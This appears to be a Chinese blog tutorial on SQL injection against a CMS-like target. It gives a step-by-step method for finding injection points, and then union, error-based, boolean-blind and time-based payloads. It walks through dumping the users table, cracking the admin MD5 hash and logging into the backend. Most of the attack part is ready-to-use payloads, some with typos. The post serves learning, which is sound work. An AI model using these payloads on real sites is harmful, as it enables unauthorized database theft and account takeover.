SQL注入


一、御剑扫描网站后台

扫描网页,将字典中的内容(如:/login.php等)拼接到url后面,不断地扫描,以此得到该网站有哪些网页

二、 SQL注入流程

Step1. 是否有回显

?id=1    ~~    ?id=2
通过将传递给url中的 id 加1/ 减1,看两次页面是否一样:如果一样就是没有回显,如果不一样就是有回显。

select * from tablename where id=$id   # URL背后执行的SQL代码

例1:有回显
在这里插入图片描述
在这里插入图片描述

例2:有回显
在这里插入图片描述
在这里插入图片描述

Step2. 是否有报错(能够判断字符型还是数字型的报错)

?id=1'     ~~~    ?id=1"
如果有报错,直接判断注入类型和闭合方式;如果没有报错,则无法直接判断注入类型,但是仍然可以判断闭合方式。

1. 注入类型的判断

如果报错信息中有数字(我们传入的id)就是字符型,没有数字就是数字型
例如:?id=35’ 的报错信息为 near ‘’’ at line 1 → 没有出现数字35,所以是数字型注入

select *  from tbName where id=35'   # URL背后执行的SQL代码
2. 闭合方式的判断
  • 如果添加 ’ 或者 " 后,依旧能够正常显示,那么说明添加 ’ 或者 " 绝对不是闭合方式。
  • 猜测 除了上一步中已经排除的闭合方式外 的几种有可能的闭合方式:
    • 通过 ?id=1' --+ 看是否可以正常显示,如果可以正常显示,就表示 ’ 就是闭合方式;
    • 反正就是不断猜测,例如 '     ~~~         ~~~     ')     ~~~    ”)等。
  • 代码审计 Less07

例1:数字型注入
在这里插入图片描述
在这里插入图片描述

例2:字符型注入,闭合方式为 单引号 ’
在这里插入图片描述
添加双引号正常显示,双引号" 一定不是闭合方式。
在这里插入图片描述

Step3. 是否有布尔类型的状态

?id=1' and 1=1 --+       ~~~~~      ?id=1' and 1=2 --+
如果 1=1 和 1=2 的页面结果一样,就没有布尔类型的状态。

# URL背后执行的SQL代码
select * from tableName where id=1 and 1=1
select * from tableName where id=1 and 1=2

?id=1' and sleep(5) --+
如果页面没有休眠5秒,就是没有布尔类型的状态。
开发者工具–>查看元素–>网络:看页面是否有延迟(定义的是沉睡5秒,但是显示的是6秒,就是有延迟)

例:有布尔类型的状态
1=1 与1=2 的页面不一样
在这里插入图片描述
在这里插入图片描述
注入sleep(5)语句,可以通过网络时间线看到延时,说明sleep(5)语句起到了作用,页面休眠了5秒。
在这里插入图片描述
综上,此连接存在SQL 注入漏洞。

【注】除了id+1/-1 判断是否有回显,其他(and 1=1 / and 1=2 / and sleep(5) )出现任意一个,就断定有注入漏洞。

Step4. 选择注入手法

  • 如果有回显,考虑联合查询 union
  • 如果没有回显,且有报错,考虑报错注入
    • and updatexml(1,concat(0x5e,@@datadir,0x5e),1) --+
    • @@datadir可以替换为任何select语句
  • 如果没有回显,也没有报错,但是有布尔类型状态,考虑布尔盲注
    • 猜测数据库名的长度 ?id=1' and length(database()) = 1 --+
    • 猜测数据库的名字     ~~~     ?id=1' and substr(database(),1,1) = 's' --+
    • 以上可以采用bp半自动化注入:抓包发送到Intruder模块,修改变量,选择字典,进行注入
  • 如果以上情况都没有,考虑延时注入

三、 四种注入手法

(一)联合查询

1. 联合查询的基本概念

由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL 语法中的union select 语句。该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。联合查询会“纵向"拼接,两张虚拟的表,实现跨库跨表查询。

2. 联合查询的必要条件

  • 两张虚拟的表具有相同的列数:使用order by 1 / order by 2 … 来判断原有的代码中是几列
  • 虚拟表对应的列的数据类型相同:数字可以自动转化为字符串 // 字符串可以通过编码(ASCII编码等)转化为数字

3. 判断字段个数

可以使用 order by语句 来判断当前select 语句所查询的虚拟表的列数。
order by语句本意是按照某一列进行排序,在mysql中可以使用数字来代替具体的列名,比如order by 1就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错Unknown column。我们可以依次增加数字,直到数据库报错。
order by 1 --+
order by 2 --+
order by 15 --+
order by 16 --+       ~~~~~      报错Unknown column → 当前表中字段个数为15

请添加图片描述
在这里插入图片描述
在这里插入图片描述

4. 判断显示位置

得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql 数据库特性,select语句在执行的过程中,可以不需要指定表名。
?1d=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
?id=33 union select null,null, null,null,null, null,null,null,null,null,null,null,null,null,null--+
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二张表的记录。
因此构造SQL 语句:
?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+
?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+

在执行SQL语句的时候,可以考虑用火狐浏览器的插件hackbar。
在这里插入图片描述
发现3 和11 会回显到页面中
在这里插入图片描述

5. 一些我们想要得到的内容

数据库版本 version()

我们可以在数字3的位置用函数version()代替,即可得到数据库的版本。
?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+ 数据库版本为5.5.53。

当前数据库名 database()

?id=33 and 1=2 union select 1;2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+

将3和11位置替换为想要查询的东西
在这里插入图片描述

数据库中的表
# 不要忘记最后用 --+ 将源代码中的后续代码注释掉
?id=33 and 1=2  union
select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15
from information_schema.tables 
where table_schema=database() --+   

在这里插入图片描述

  • 数据库报错,考虑用hex()函数将结果由字符串转化成数字
?id=33 and 1=2 union 
select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15
from information_schema.tables
where table_schema=database() --+

例1:不使用group_concat()函数,只能得到第一个表名
在这里插入图片描述
十六进制解码:
在这里插入图片描述

例2:使用group_concat()得到所有的表名
在这里插入图片描述
在这里插入图片描述


得到十六进制编码后的字符串:
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273


十六进制解码:
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_prge,cms_users
管理员的账号密码可能保存在cms_users 表中


表中字段
?id=33and 1=2 union
select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15
from information_schema.columns
where table_chema=database() and table_name='cms_users' --+

查询表’cms_users’中的字段
在这里插入图片描述
在这里插入图片描述


得到十六进制编码后的字符串:7573657269642C757365726E616D652C70617373776F7264
解码得到:userid,username,password


字段内容
  • 查询表中记录数
    ?id=33 and1=2 union select1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+
    cms_users 表中只有一条记录。
  • 查询字段内容
    ?id=33 and1=2union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms users --+

查询管理员的账号密码
在这里插入图片描述
在这里插入图片描述


得到后台管理员的账号密码,但是密码以密文的方式保存在数据库中
admin:7fef6171469e80d32c0559f88b377245
通过观察密文可知,此密文为MD5 密文;可以在线查询,网址为 https://www.cmd5.com/
解密得到 admin:admin888


通过网站后台登录网站
在这里插入图片描述
在这里插入图片描述

(二)报错注入

在注入点的判断过程中,发现数据库中SQL语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。

1. group by 重复键冲突

(1)模板

网传版本:
?id=33 and 
(
	select 1 
	from (  select count(*),concat( (select version() from information_schema.tables limit 0,1) , floor(rand()*2) )x 
	 	    from information_schema.tables 
	 	    group by x
	 	 )a
)--+

简化版本:
?id=33 union
select 1,2,concat(left(rand(),3),'^',(select version()),'^') a, count(*),5,6,7,8,9,10,11,12,13,14,15 
from information_schema.tables 
group by a --+
  • version() 的地方是可以换成我们需要的东西,例如 database()
  • select version() from information_schema.tables limit 0,1 的地方(concat包裹的地方)是可以换成我们需要的SQL语句
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    (2)一个例子
  • 普通情况
select concat(left(rand(),3),'^' , (select version()),  '^') as x,count(*) 
from information_schema.tables 
group by x
或者
select concat(left(rand(),3)'^', (select version())'^') x, count(*) 
from information_schema.tables 
group by x
解释:语句中的 as 是给concat(left(rand()3)'^'(select version())'^') 起一个别名x,方便后面聚合操作。
      此处 as 可以省略,直接写 x 即可。
报错信息:ERROR 1062 (23000): Duplicate entry 0.9 5.5.53" for key’ group_key'
  • 如果关键的表被禁用了,可采用如下语句
select concat('^',version()'^',floor(rand()*2)) ×,count(*) 
from (select 1 union select null union select !1) a 
group by x
报错信息:ERROR 1062(23000): Duplicate entry' 5.5.53 1' for key 'group_key'
  • 如果rand()、count() 被禁用了,可采用如下方式
select min(@a:=1) 
from information_schema.tables 
group by concat('^',@eversion,'^',@a:=(@a+1)2)
报错信息:ERROR 1062 (23000)Duplicate entry '~5.5.53~0  for key'group_key'
  • 不依赖额外的函数和具体的表。
select min(@a:=1) 
from(select 1 union select null union select !1) a 
group by concat('^', @@version,'^',@a:=(@a+1)82) 
报错信息:ERROR 1062 (23000)Duplicate entry '~5.5.53~0  for key'group_key'

2. XPATH 报错

MySQL5.0以下不支持XPATH报错

?id=33 and extractvalue(1, concat('^',(select version()),'^',))  --+
或者
?id=33 and updatexml(1,concat('^',(select database()),'^'),1)  --+

在这里插入图片描述
在这里插入图片描述

(三)布尔盲注 & 延时注入

  1. 原理:利用页面返回的布尔类型状态,正常或者不正常。
  2. 获取数据库名步骤
    (1)数据库名长度
  • 布尔盲注 ?id=33 and length(database())=1 --+
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    • 布尔盲注与延时注入结合 ?id=33 and if(length(database()<99 , sleep(5) , 1 ) --+
      在这里插入图片描述
      在这里插入图片描述

(2)数据库名的第一位 ?id=33 and ascii( substr(database(),1,1) )=99 --+
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 布尔盲注与延时注入结合
    ?id=33 and if( ( ascii( substr(database(),2,1) )=110 , sleep(5) , 1 ) --+

(四) 口诀

  • 是否有回显                           ~~~~~~~~~~~~~~~~~~~~~~~~~                           联合查询
  • 是否有报错                           ~~~~~~~~~~~~~~~~~~~~~~~~~                           报错注入
  • 是否有布尔类型的状态          ~~~~~~~~          布尔盲注
  • 最后                                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                     延时注入
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值